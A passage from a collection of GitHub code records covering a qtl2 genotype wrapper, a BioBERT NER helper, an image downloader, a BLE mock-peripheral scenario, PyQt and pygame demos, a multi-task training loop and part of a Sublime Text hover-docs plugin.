'\n        'na.strings = \"-\", '\n        'geno_transposed = TRUE, '\n        'founder_geno_transposed = TRUE'\n        ')'\n    )\n    subprocess.run(f\"cd {args.working_dir} && R -e '{cntrl_command}'\", shell=True)\n\ngmaps = os.path.join(os.path.dirname(__file__), \"genetic_map\")\n\np = argparse.ArgumentParser(description=\"Wrapper for R/qtl2 to calculate founder haplotype probabilities\")\np.add_argument(\"individuals\", help=\"path to VCF file for individuals\")\np.add_argument(\"founders\", help=\"path to VCF file for founder strains\")\np.add_argument(\"out\", help=\"Name of 3D array output file (*.rds, serialized R object)\")\np.add_argument(\"--snps\", \"-s\", help=\"File of SNP IDs to subset VCFs (e.g. to include observed and not imputed SNPs)\")\np.add_argument(\"--gmap-dir\", default=gmaps, help=\"Directory containing genetic mapping files\")\np.add_argument(\"--working-dir\", default=\"tmp-qtl2-founder-haps\", help=\"Name of directory to write qtl2 input files\")\n# p.add_argument(\"--save-interm\", action=\"store_true\", help=\"With this flag, qtl2 input files will be saved\")\np.add_argument(\"--founder-pairs\", action=\"store_true\", help=\"Output probabilities per founder pair instead of collapsing to per-founder\")\np.add_argument(\"--haplotype\", type=int, default=0, help=\"If set to 1 or 2, VCFs are assumed to be phased and the output will reflect only the first or second haplotypes in the VCF\")\np.add_argument(\"--cores\", type=int, default=1, help=\"Number of cores to use when calculating probabilities\")\nargs = p.parse_args()\n\nmake_qtl_inputs(args)\nqtl_command = (\n    'library(qtl2); '\n    f'cross <- read_cross2(\"{os.path.join(args.working_dir, \"control.yaml\")}\"); '\n    f'pr <- calc_genoprob(cross, error_prob = 0.01, cores = {args.cores}); '\n)\nif not args.founder_pairs:\n    qtl_command += f'pr <- genoprob_to_alleleprob(pr); '\nqtl_command += f'saveRDS(pr, \"{args.out}\")'\nsubprocess.run(f\"R -e '{qtl_command}'\", shell=True)\n","repo_name":"daniel-munro/qtl2-founder-haps","sub_path":"qtl2-founder-haps.py","file_name":"qtl2-founder-haps.py","file_ext":"py","file_size_in_byte":6696,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"29239902230","text":"from transformers import (\n    AutoConfig,\n    BertTokenizerFast,  # fast tokenizer will return offsets\n    BertForTokenClassification,\n)\nimport torch\n\n# folder path\nmodel_path = \"/Users/u6022257/Documents/Transformers/models/biobert_genetic_ner/\"\ntokenizer_config = model_path + \"tokenizer_config.json\"\nmodel_config = model_path + \"config.json\"\nvocab_file = model_path + \"vocab.txt\"\nconfig_model = AutoConfig.from_pretrained(model_config)\ntokenizer = BertTokenizerFast(vocab_file, do_lower_case=True)\nModel = BertForTokenClassification.from_pretrained(model_path, local_files_only=True)\nid2label = {\"0\": \"B-GENETIC\", \"1\": \"I-GENETIC\", \"2\": \"O\"}\nlabel2id = {\"B-GENETIC\": 0, \"I-GENETIC\": 1, \"O\": 2}\n\n\ndef bert_prediction_sentence(sent):\n    encode_dic = tokenizer.encode_plus(\n        sent,\n        return_tensors=\"pt\",\n        truncation=True,\n        max_length=512,\n        padding=True,\n        return_offsets_mapping=True,\n    )\n    inputs = tokenizer.encode(\n        sent, return_tensors=\"pt\", max_length=512, truncation=True, padding=True\n    )\n    tokens = tokenizer.tokenize(\n        tokenizer.decode(\n            tokenizer.encode(sent, max_length=512, truncation=True, padding=True)\n        )\n    )\n\n    offsets = encode_dic[\"offset_mapping\"]\n    offsetsList = offsets.tolist()\n\n    # prediction for current sentence\n    outputs = Model(inputs)[0]\n    predictions = torch.argmax(outputs, dim=2)\n    print(len(tokens), len(predictions[0].tolist()), len(offsetsList[0]))\n    ids = predictions[0].tolist()\n    offsetSent = []\n    labelSent = []\n    for i in range(len(ids)):\n        labelSent.append(id2label[str(ids[i])])\n        offsetSent.append(offsetsList[0][i])\n        print(id2label[str(ids[i])], offsetsList[0][i])\n    print(offsetsList[0], tokens)\n    return labelSent, offsetSent\n\n\ndef gene_span(labels, offsets):\n    spanList = []  # list of [startIndx,endIndx]\n    for i in range(len(labels)):\n        if labels[i] == \"B-GENETIC\":\n            currentStart = offsets[i][0]\n            # initial the span end\n            currentEnd = offsets[i][1]\n            j = 1\n            while labels[i + j] == \"I-GENETIC\":\n                currentEnd = offsets[i + j][1]\n                j = j + 1\n            spanList.append([currentStart, currentEnd])\n    return spanList\n","repo_name":"grace-mengke-hu/Transformers","sub_path":"src/biobert_fun.py","file_name":"biobert_fun.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74496852520","text":"import requests\nimport os\nurl = 'https://image.nationalgeographic.com.cn/2017/0211/20170211061910157.jpg'\nroot = \"C://pics//\"\npath = root + url.split('/')[-1]\ntry:\n    if not os.path.exist(root):    #创建路径\n        os.mkdir(root)\n    if not os.path.exists(path):   #检查文件是否存在\n        r = requests.get(url)\n        with open(path,'wb') as f:    #覆盖写模式打开\n            f.write(r.content)\n            f.close()\n            print('保存成功')\n    else:\n        print('文件已存在')\nexcept:\n    print(\"爬取失败\")\n\n","repo_name":"yqzs/Python-Crawler-and-Information-Extraction","sub_path":"第1单元/3 实例4：网络图片的爬取和存储.py","file_name":"3 实例4：网络图片的爬取和存储.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3949251214","text":"from tensorflow.compiler.mlir.quantization.tensorflow import exported_model_pb2\nfrom tensorflow.compiler.mlir.quantization.tensorflow.python import py_function_lib\nfrom tensorflow.core.framework import function_pb2\nfrom tensorflow.core.framework import node_def_pb2\nfrom tensorflow.python.platform import test\n\n\nclass PyFunctionLibTest(test.TestCase):\n\n  def test_assign_ids_to_custom_aggregator_ops(self):\n    func_lib = py_function_lib.PyFunctionLibrary()\n    exported_model = exported_model_pb2.ExportedModel()\n    function_def: function_pb2.FunctionDef = (\n        exported_model.graph_def.library.function.add()\n    )\n\n    node_def_1: node_def_pb2.NodeDef = function_def.node_def.add()\n    node_def_1.op = 'CustomAggregator'\n\n    node_def_2: node_def_pb2.NodeDef = function_def.node_def.add()\n    node_def_2.op = 'Identity'\n\n    result_exported_model = exported_model_pb2.ExportedModel.FromString(\n        func_lib.assign_ids_to_custom_aggregator_ops(\n            exported_model.SerializeToString()\n        )\n    )\n    result_function_def = result_exported_model.graph_def.library.function[0]\n\n    # Check that a 'CustomAggregatorOp' has an 'id' attribute whereas other ops\n    # don't.\n    result_node_def_1 = result_function_def.node_def[0]\n    self.assertEqual(result_node_def_1.op, 'CustomAggregator')\n    self.assertIn('id', result_node_def_1.attr)\n    self.assertLen(result_node_def_1.attr, 1)\n\n    result_node_def_2 = result_function_def.node_def[1]\n    self.assertEqual(result_node_def_2.op, 'Identity')\n    self.assertNotIn('id', result_node_def_2.attr)\n\n\nif __name__ == '__main__':\n  test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/compiler/mlir/quantization/tensorflow/python/py_function_lib_test.py","file_name":"py_function_lib_test.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"}
{"seq_id":"1794074250","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#Classe da Celula\nclass Cell:\n  #Variaveis de cada objeto Celula\n  def __init__(self, screen, positions, color, n, body=None, cliked=False, center=None):\n    self.screen = screen\n    self.positions = positions\n    self.color = color\n    self.n = n\n    self.clicked = False\n\n  #Função para desenhar o retangulo da celula\n  def draw(self, pygame):\n    self.body = pygame.draw.rect(self.screen, self.color, [self.positions[0], self.positions[1], self.positions[2], self.positions[3]])\n    return self.body\n\n  #Função que verifica se a celula foi clicada\n  def click(self, pygame):\n    if pygame.mouse.get_pressed()[0] and self.body.collidepoint(pygame.mouse.get_pos()):\n      self.clicked = True\n      return True\n   \n  def get_center(self):\n    x = self.body.centerx\n    y = self.body.centery\n    if x == 200:\n      x = 150\n    if y == 200:\n      y = 150\n    return [x, y]","repo_name":"ianbs/tictactoe","sub_path":"cell.py","file_name":"cell.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24951281053","text":"from mirage.core import scenario\nfrom mirage.libs import io,ble,esb,utils\nfrom mirage.libs.bt_utils.assigned_numbers import AD_TYPES\nimport struct\nfrom mock import MOCK_VALUES\n\nclass MockSlave(scenario.Scenario):\n\n\tuseKeyboard = False\n\n\tdef onStart(self):\n\t\t# Power Level between -100 and 20 dbm\n\t\tif \"TXPOWER\" in self.module.args and utils.integerArg(self.module.args['TXPOWER']) != None:\n\t\t\tself.txPwLvl = struct.pack('<b', utils.integerArg(self.module.args['TXPOWER']))\n\t\telse:\n\t\t\tself.txPwLvl = struct.pack('<b', MOCK_VALUES['gatt']['txPower'])\n\n\t\t# Local short name\n\t\tif 'NAME' in self.module.args and self.module.args['NAME'] != '':\n\t\t\tself.shortName = self.module.args['NAME'][0:10]\n\t\telse:\n\t\t\tself.shortName = MOCK_VALUES['gap']['localName']\n\n\t\tif 'PAIRING' in self.module.args:\n\t\t\tself.pairing = utils.booleanArg(self.module.args['PAIRING'])\n\t\telse:\n\t\t\tself.pairing = MOCK_VALUES['control']['enable_pairing']\n\n\t\tif self.pairing:\n\t\t\tself.module.pairing(active='passive')\n\n\t\tself.addPrimaryService()\n\t\tself.startAdv()\n\t\treturn True\n\n\tdef addPrimaryService(self):\n\t\t# Tx Power Level primary service\n\t\tself.module.server.addPrimaryService(ble.UUID(name=\"Tx Power\").data)\n\t\t# Tx Power Level characteristic\n\t\tself.module.server.addCharacteristic(bytes.fromhex('2A07'), self.txPwLvl, permissions=[\"Read\", \"Notify\"]) # 20 dbm\n\n\tdef startAdv(self):\n\t\t# Advertisement data sent with ADV_IND\n\t\tadvServices = (ble.UUID(name=\"Tx Power\").data[::-1])\n\t\tadvData = bytes([\n\t\t\t# Length\n\t\t\t2,\n\t\t\t# Flags data type value.\n\t\t\t0x01,\n\t\t\t# BLE general discoverable, without BR/EDR support.\n\t\t\t0x01 | 0x04,\n\n\t\t\t# Length\n\t\t\t2,\n\t\t\t# Tx Power Level data type value\n\t\t\t0x0A,\n\t\t\t# Tx Power Level\n\t\t]) + self.txPwLvl + bytes([\n\n\t\t\t# Length\n\t\t\t1 + len(self.shortName),\n\t\t\t# Local short name\n\t\t\t0x08,\n\t\t\t# short name\n\t\t]) + str.encode(self.shortName) + bytes([\n\n\t\t\t# Length\n\t\t\t1 + len(advServices),\n\t\t\t# Complete list of 16-bit Service UUIDs data type value.\n\t\t\t0x03,\n\t\t\t# services\n\t\t]) + advServices\n\n\t\tself.module.emitter.setAdvertisingParameters(type='ADV_IND', data=advData)\n\t\tself.module.emitter.setAdvertising(enable=True)\n\t\tio.info('Currently advertising ' + advData.hex() + ' using ' + self.args['INTERFACE'])\n\n\tdef onEnd(self):\n\t\treturn True\n\n\tdef onKey(self,key):\n\t\treturn True\n","repo_name":"expiaz/master1-internship","sub_path":"poc/src/scenarios/MockSlave.py","file_name":"MockSlave.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8312899371","text":"\"\"\"\r\nWrite a python script to declare a list of 5 numbers with duplicates and print the list after\r\nremoving the duplicate numbers.\r\n\"\"\"\r\nlst = [1, 2, 1, 5, 5]\r\nafterRemovingDublicate = list(set(lst))\r\nfor i in afterRemovingDublicate:\r\n    print(i,\" \",end=\"\")\r\n\r\n\"\"\"\r\nOutput:\r\n1  2  5  \r\n\"\"\"\r\n","repo_name":"Mir-Labib-Hossain/static-projects---snippets---problem-solving","sub_path":"python/problem-solving/Final/L7_12_removeDublicates.py","file_name":"L7_12_removeDublicates.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10340459882","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QDesktopWidget, QPushButton, QToolTip, QAction, qApp\nfrom PyQt5.QtCore import QCoreApplication, QDateTime\nfrom PyQt5.QtGui import QIcon, QFont\n\n\nclass MyApp(QMainWindow):\n    def __init__(self):\n        super().__init__()\n\n        self.datetime = QDateTime.currentDateTime()\n        self.initUI()\n\n    def initUI(self):\n        self.setWindowTitle(\"PyQt5 Windows\")\n        self.setWindowIcon(QIcon('terminal.png'))\n        # self.move(300, 300)\n        self.resize(400, 200)\n        # self.setGeometry(300, 400, 400, 200)\n        self.moveCenter()\n\n        exitAction = QAction(QIcon('exit.png'), 'Exit', self)\n        exitAction.setShortcut('Ctrl+Q')\n        exitAction.setStatusTip('Exit application')\n        exitAction.triggered.connect(qApp.quit)\n\n        QToolTip.setFont(QFont('Consolas', 10))\n        self.setToolTip('This is a <b>QWidget</b> widget')\n\n        menubar = self.menuBar()\n        menubar.setNativeMenuBar(False)\n        fileMenu = menubar.addMenu('&File')\n        fileMenu.addAction(exitAction)\n\n        self.toolbar = self.addToolBar('Exit')\n        self.toolbar.addAction(exitAction)\n\n        btn = QPushButton('Quit', self)\n        btn.move(50, 100)\n        btn.resize(btn.sizeHint())\n        btn.setToolTip('This is a <b>QPushButton</b> widget')\n        btn.clicked.connect(QCoreApplication.instance().quit)\n\n        self.statusBar().showMessage('Ready')\n        self.statusBar().showMessage(self.datetime.toString('hh:mm:ss  yyyy.MM.dd ddd'))\n\n        self.show()\n\n    def moveCenter(self):\n        fg = self.frameGeometry()\n        cp = QDesktopWidget().availableGeometry().center()\n        fg.moveCenter(cp)\n        self.move(fg.topLeft())\n\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n    ex = MyApp()\n    sys.exit(app.exec_())\n","repo_name":"HoYaStudy/Python_Study","sub_path":"playground/pyqt/create_window.py","file_name":"create_window.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"70998566120","text":"money = (50.00)\r\ncost = (6.00)\r\nx = (money / cost)\r\nx1 = round(x)\r\nprint (\"She can buy\", x1, \"amounts of USB sticks\")\r\ny = (x1 - cost)\r\nprint (\"She has £\", y, \"left.\")\r\n#This exercise took me quite a bit to finally figure out. Assigning numbers to variables and using the print function were easy enough but the formula on the third line, fourth line, and sixth line took a bit to figure out.\r\n#I used a calculator to verify of my formula was correct and it kept on being wrong.\r\n#It took me a bit to figure out the correct formula and eventually the answers were correct even after changing the variables for “money” and “cost”. ","repo_name":"PatrickPlantilla/Programming-Summative-Assessment-by-Patrick","sub_path":"Chapter 2 Exercise 5 USB Shopper.py","file_name":"Chapter 2 Exercise 5 USB Shopper.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3048781791","text":"\n# Order types\n_ORDER_TYPE_UNSPECIFIED = 0\n_ORDER_TYPE_LIMIT = 1\n_ORDER_TYPE_MARKET = 2\n\n\nORDER_TYPES = (\n    (_ORDER_TYPE_LIMIT, 'Limit'),\n    (_ORDER_TYPE_MARKET, 'Market')\n)\n\n\n\n# Direction types\n_DIRECTION_TYPE_UNSPECIFIED = 0\n_DIRECTION_TYPE_BUY = 1\n_DIRECTION_TYPE_SELL = 2\n\n\nDIRECTION_TYPES = (\n    (_DIRECTION_TYPE_BUY, 'Buy'),\n    (_DIRECTION_TYPE_SELL, 'Sell')\n)","repo_name":"WISEPLAT/python-code","sub_path":" invest-robot-contest_tinkoff_trading_contest-main/tinkoff_contest/trading_app/services/choices.py","file_name":"choices.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"18"}
{"seq_id":"17584925776","text":"# https://leetcode.com/problems/maximum-number-of-occurrences-of-a-substring/\nclass Solution:\n    def maxFreq(self, s: str, maxLetters: int, minSize: int, maxSize: int) -> int:\n        dt = defaultdict(int)  # count the number of substrings, key: substring, value: count\n        n = len(s)\n        \n        for i in range(n - minSize + 1):\n            substr = s[i:i + minSize]\n            m = set(list(substr))\n            if len(m) > maxLetters:\n                continue\n                \n            dt[substr] += 1\n            l = min(i + maxSize, n)\n            \n            for j in range(i + minSize, l):\n                m.add(s[j])\n                if len(m) <= maxLetters:\n                    substr += s[j]\n                    dt[substr] += 1\n                else:\n                    break\n        \n        # print(dt)\n        if len(dt) == 0:\n            return 0\n        return sorted(set(dt.values()))[-1]\n","repo_name":"liangym2014/anchunmao-Leetcode","sub_path":"1297. (not good enough solution) Maximum Number of Occurrences of a Substring - medium.py","file_name":"1297. (not good enough solution) Maximum Number of Occurrences of a Substring - medium.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8640075830","text":"from django import template\n\n\nregister = template.Library()\n\n\n@register.filter()\ndef censor(value, censor_words):\n    words_list = [word.strip() for word in censor_words.split(',')]\n    for word in words_list:\n        value = value.replace(word, '*' * len(word), -1)\n    return value\n","repo_name":"BlasHak213/alexander","sub_path":"Django D3.6 NewsPortal/NewsPaper/news/templatetags/custom_filters.py","file_name":"custom_filters.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2251535656","text":"class Tree:\n    def __init__ (self, root):\n        self.root = root\n    \n    # Exercise 1\n    def printTree(self):\n        queue = [self.root]\n        while (len(queue) != 0) :\n            print(queue[0].data)\n            if (queue[0].left != None):\n                queue.append(queue[0].left)\n            if (queue[0].right != None):\n                queue.append(queue[0].right)\n            queue = queue[1:]\n\n\nclass TreeNode:\n    def __init__(self, data, left=None, right=None) :\n        self.data = data\n        self.left = left\n        self.right = right\n    \nleftChild = TreeNode(6)\nrightChild = TreeNode(3)\nleft = TreeNode(7)\nright = TreeNode(17, leftChild, rightChild)\nroot = TreeNode(1, left, right)\ntree = Tree(root)\n\ntree.printTree()\n\nclass OrganizationStructure:\n    def __init__ (self, ceo):\n        self.ceo = ceo\n    \n    def printLevelByLevel(self):\n        queue = [self.ceo]\n        while (len(queue) != 0) :\n            print(\"Name: \" + queue[0].name + \", Title: \" + queue[0].title)\n            if (queue[0].directReports != None):\n                for x in queue[0].directReports :\n                    queue.append(x)\n            queue = queue[1:]\n    \n    def recur(self, employee, level) :\n        if (employee == None) :\n            return level\n        if (employee.directReports == None):\n            return level\n        maxlevel = level\n        for x in employee.directReports:\n            newlevel = self.recur(x, level + 1)\n            if newlevel > maxlevel :\n                maxlevel = newlevel\n        return maxlevel\n\n    def printNumLevels(self):\n        level = 0\n        print(self.recur(self.ceo, level + 1))\n\nclass Employee:\n    def __init__(self, name, title, directReports) :\n        self.name = name\n        self.title = title\n        self.directReports = directReports\n\nk = Employee(\"k\", \"sales intern\", None)\nj = Employee(\"j\", \"sales rep\", [k])\ni = Employee(\"i\", \"director\", [j])\nf = Employee(\"f\", \"engineer\", None)\ng = Employee(\"g\", \"engineer\", None)\nh = Employee(\"h\", \"engineer\", None)\nd = Employee(\"d\", \"manager\", [f, g, h])\ne = Employee(\"e\", \"manager\", None)\nb = Employee(\"b\", \"cfo\", [i])\nc = Employee(\"c\", \"cto\", [d,e])\na = Employee(\"a\", \"ceo\", [b,c])\norg = OrganizationStructure(a)\n\norg.printLevelByLevel()\norg.printNumLevels()\n\n\n","repo_name":"ubercareerprep2022/Uber-Career-Prep-Homework-Aneekah-Uddin","sub_path":"Assignment-2/1-3.py","file_name":"1-3.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74738286760","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader, Dataset\nimport torch.optim as optim\nfrom sklearn.metrics import r2_score\nfrom sklearn.model_selection import train_test_split\nfrom read_file import getTensorDataset\n\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n# 十折交叉验证\n\nloss_fn = nn.MSELoss()\n\n\ndef train(lr=1e-2, n_epochs=1000, loss_fn=loss_fn, seed=1, X=None, y=None, model=None):\n\n    optimizer = optim.Adam(model.parameters(), lr=lr) # optimizer一定要放在循环里，因为优化器是和参数绑定的\n    X_train, X_test, y_train, y_test = train_test_split(X.astype(np.float32), y, test_size=0.33, random_state=seed) \n    train_loader = DataLoader(dataset=getTensorDataset(X_train, y_train), batch_size=54)\n    val_loader = DataLoader(dataset=getTensorDataset(X_test,y_test),batch_size=37)\n    # Training loop\n    for epoch in range(n_epochs):\n        model.train()\n\n\n        r2_t1_val, r2_t2_val, r2_t3_val, r2_t4_val = 0,0,0,0\n\n        for x_batch, y_batch in train_loader:\n            x_batch = x_batch.to(device).to(torch.float32)\n            y_batch = y_batch.to(device).to(torch.float32)\n            yhat = model(x_batch)\n   \n            # 对每个tower分别计算train_r2\n            r2_train = [r2_score(y_true.detach().cpu().numpy(), y_hat.to(torch.float32).detach().cpu().numpy()) for y_true, y_hat in zip([y_batch[:,i] for i in range(y_batch.shape[1])], yhat)]\n\n            # 对每个tower分别计算损失，一共有4个\n            label_loss_train = [loss_fn(y_hat.to(torch.float32), y_true.view(-1, 1)) for y_true, y_hat in zip([y_batch[:,i] for i in range(y_batch.shape[1])], yhat)]\n\n            # 计算总损失\n            loss_weighted = torch.mul(torch.stack(label_loss_train), model.dynamic_weights).sum()\n\n            optimizer.zero_grad()\n            loss_weighted.backward(retain_graph=True)\n\n            if epoch%100 == 0:\n                print(\"epoch:{:4} --- [ 总loss:{:10.2f}, 任务loss:{} ]\".format(epoch, loss_weighted.item(), [round(item.item(), 2) for item in label_loss_train]))\n            \n\n            optimizer.step()\n\n            \n        # We tell PyTorch to NOT use autograd...\n        with torch.no_grad():\n            # Uses loader to fetch one mini-batch for validation\n            for x_val, y_val in val_loader:\n                \n                x_val = x_val.to(device)\n                y_val = y_val.to(device)\n                \n                model.eval()\n                yhat_val = model(x_val)\n                y_val_t1, y_val_t2 = y_val[:, 0], y_val[:, 1]\n                y_val_t3, y_val_t4 = y_val[:, 2], y_val[:, 3]\n\n                yhat_t1_val, yhat_t2_val = yhat_val[0], yhat_val[1]\n                yhat_t3_val, yhat_t4_val = yhat_val[2], yhat_val[3]\n\n                # 对每个tower分别计算val_r2\n                r2_t1_val = r2_score(y_val_t1.detach().cpu().numpy(), yhat_t1_val.detach().cpu().numpy())\n                r2_t2_val = r2_score(y_val_t2.detach().cpu().numpy(), yhat_t2_val.detach().cpu().numpy())\n                r2_t3_val = r2_score(y_val_t3.detach().cpu().numpy(), yhat_t3_val.detach().cpu().numpy())\n                r2_t4_val = r2_score(y_val_t4.detach().cpu().numpy(), yhat_t4_val.detach().cpu().numpy())\n                val_r2 = r2_t1_val + r2_t2_val + r2_t3_val + r2_t4_val\n                # print('Validation阶段 r2_t1:{}, r2_t2:{}, r2_t3:{},r2_t4:{}'.format(r2_t1_val, r2_t2_val, r2_t3_val, r2_t4_val))\n        \n    return r2_t1_val, r2_t2_val, r2_t3_val, r2_t4_val\n","repo_name":"rightwe/MTL-code","sub_path":"AOE/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74925089639","text":"class Auto:\r\n    def __init__(self, modelo, marca, color):\r\n        self.modelo = modelo\r\n        self.marca = marca\r\n        self.color = color\r\n        self._estado = 'en reposo'\r\n        self._motor = Motor(cilindros=4)\r\n\r\n    def acelera(self, tipo='despacio'):\r\n        if tipo == 'rapida':\r\n            self._motor.inyecta_gasolina(10)\r\n        else:\r\n            self._motor.inyecta_gasolina(2)\r\n        self._estado = 'En movimiento'\r\n\r\n\r\nclass Motor:\r\n    def __init__(self, cilindros, tipo='gasolina'):\r\n        self.cilindros = cilindros\r\n        self.tipo = tipo\r\n        self._tem = 0\r\n\r\n    def inyecta_gasolina(self, cantidad):\r\n        pass\r\n\r\n# Partir un problema en varios mas sencillos","repo_name":"Byhako/python","sub_path":"poo/decomposicion.py","file_name":"decomposicion.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"32474108054","text":"import sublime\nimport sublime_plugin\nimport os\nimport html\nimport re\nimport copy\n\nclass HoverDocsCommand(sublime_plugin.TextCommand):\n\t\"\"\" Mostly here so that I can trick sublime into thinking there's a\n\thover_docs command, which then gets interpretted by the\n\tHoverDocsListener.on_text_command(...).\n\t\"\"\"\n\tdef run(self, edit, mode=\"open\", display_style=\"\", characters=\"\", reg_str=\"\"):\n\t\tif mode == \"append\":\n\t\t\tself.view.insert(edit, self.view.size(), characters)\n\t\tif mode == \"replace\":\n\t\t\treg_parts = reg_str.split(\":\")\n\t\t\treg = sublime.Region(int(reg_parts[0]), int(reg_parts[1]))\n\t\t\tself.view.replace(edit, reg, characters)\n\nclass HoverDocsListener(sublime_plugin.EventListener):\n\tdef __init__(self, *vargs, **kwargs):\n\t\tsuper().__init__(*vargs, **kwargs)\n\t\tself.hover_line = -1\n\t\tself.dclick_annotations = []\n\t\tself.pinned_annotations = []\n\t\tself.sel_snapshot = []\n\t\tself.double_click_target = None\n\n\tdef setting(self, setting):\n\t\treturn sublime.load_settings(\"HoverDocs.sublime-settings\")[setting]\n\n\tdef find_symbol_definition(self, ref_view, ref_name):\n\t\t\"\"\" Searches the sublime index of symbols for the closest matching definition of ref_name.\n\n\t\tThe \"closest match\" is according to the following rules, in order of presedence:\n\t\t1. the ref_view's file\n\t\t2. open files\n\t\t3. files with the same syntax as the given ref_view\n\t\t4. files with the same extension as the given ref_view\n\t\t5. \"most common ancestor\" between the file for the given ref_view and the definition file\n\n\t\tArgs:\n\t\t    ref_view: the view that the symbol reference is found in\n\t\t    ref_name: the name of the symbol to look for\n\n\t\tReturns:\n\t\t\tThe definition SymbolLocation, or None if not found.\n\t\t\thttps://www.sublimetext.com/docs/api_reference.html#sublime.SymbolLocation\n\t\t\"\"\"\n\t\twin = sublime.active_window()\n\t\tsym_locs = win.symbol_locations(sym=ref_name)\n\t\tif len(sym_locs) > 0:\n\t\t\t_subl_definition_type = 1\n\t\t\tsym_loc = None\n\t\t\tref_fn, ref_ext = ref_view.file_name(), None\n\t\t\tif ref_fn != None:\n\t\t\t\ta, ref_ext = os.path.splitext(ref_fn)\n\n\t\t\t# find the best fitting definition\n\t\t\tdefs = list(filter(lambda sl: sl.type == _subl_definition_type, sym_locs))\n\t\t\tif len(defs) == 0:\n\t\t\t\treturn None\n\n\t\t\t# presedence (1)\n\t\t\tdefs_samefile = list(filter(lambda sl: sl.path == ref_fn, defs))\n\t\t\tif len(defs_samefile) > 0:\n\t\t\t\tdefs = defs_samefile\n\n\t\t\t# For getting a file's syntax\n\t\t\tdef get_view_syntax(fn):\n\t\t\t\tif fn == None:\n\t\t\t\t\treturn None\n\t\t\t\tfor win2 in sublime.windows():\n\t\t\t\t\tv2 = win2.find_open_file(fn)\n\t\t\t\t\tif v2 != None:\n\t\t\t\t\t\tbreak\n\t\t\t\tif v2 is None:\n\t\t\t\t\tsyntax = sublime.syntax_from_path(fn)\n\t\t\t\telse:\n\t\t\t\t\tsyntax = v2.syntax()\n\t\t\t\tif syntax is None:\n\t\t\t\t\treturn None\n\t\t\t\treturn syntax.name.lower()\n\t\t\tkey_syntax = get_view_syntax(ref_fn)\n\t\t\tdef syntax_match(sym_path):\n\t\t\t\tif key_syntax == None:\n\t\t\t\t\treturn True\n\t\t\t\tsyntax = get_view_syntax(sym_path)\n\t\t\t\tif syntax == None:\n\t\t\t\t\treturn True\n\t\t\t\tif syntax in key_syntax or key_syntax in syntax:\n\t\t\t\t\treturn True\n\t\t\t\treturn False\n\n\t\t\t# For sorting distances to the most common ancestor.\n\t\t\t# For example, the distance from \"foo.txt\" to \"bar.txt\" is 3,\n\t\t\t# while from \"bar.txt\" to \"foo.txt\" the distance is 2.\n\t\t\t#\n\t\t\t# /this/is/an/example/path/foo.txt\n\t\t\t# /this/is/another/path/bar.txt\n\t\t\tdef get_dirs(path):\n\t\t\t\tprint(path)\n\t\t\t\tif path == None or re.match(r\"^<untitled \\d+>$\", path) != None:\n\t\t\t\t\treturn None\n\t\t\t\tret = []\n\t\t\t\tpath, base = os.path.split(path)\n\t\t\t\twhile base != \"\":\n\t\t\t\t\tpath, base = os.path.split(path)\n\t\t\t\t\tret.append(base)\n\t\t\t\tret.reverse()\n\t\t\t\treturn ret\n\t\t\tref_dirs = get_dirs(ref_fn)\n\t\t\tdef get_ancestor_dist(sym_loc):\n\t\t\t\tsym_dirs = get_dirs(sym_loc.path)\n\t\t\t\tif ref_dirs == None or sym_dirs == None:\n\t\t\t\t\treturn 0\n\t\t\t\tfor i in range(len(ref_dirs)):\n\t\t\t\t\tif sym_dirs[i] != ref_dirs[i]:\n\t\t\t\t\t\tbreak\n\t\t\t\tancestor_dist = len(ref_dirs)-i\n\t\t\t\treturn ancestor_dist\n\n\t\t\t# Build a collection of filters to find the most appropriate result.\n\t\t\t# We filter down until there aren't any sym_locs left, or we've run out of filters.\n\t\t\t# The order of the filters matters.\n\t\t\tpathless       = lambda sl: not hasattr(sl,'path')\n\t\t\tfilter_open    = lambda locs: list(filter(lambda sl: pathless(sl) or win.find_open_file(sl.path) != None, locs))          # presedence (2)\n\t\t\tfilter_syntax  = lambda locs: list(filter(lambda sl: pathless(sl) or syntax_match(sl.path), locs))                        # presedence (3)\n\t\t\tfilter_extents = lambda locs: list(filter(lambda sl: pathless(sl) or ref_ext == None or sl.path.endswith(ref_ext), locs)) # presedence 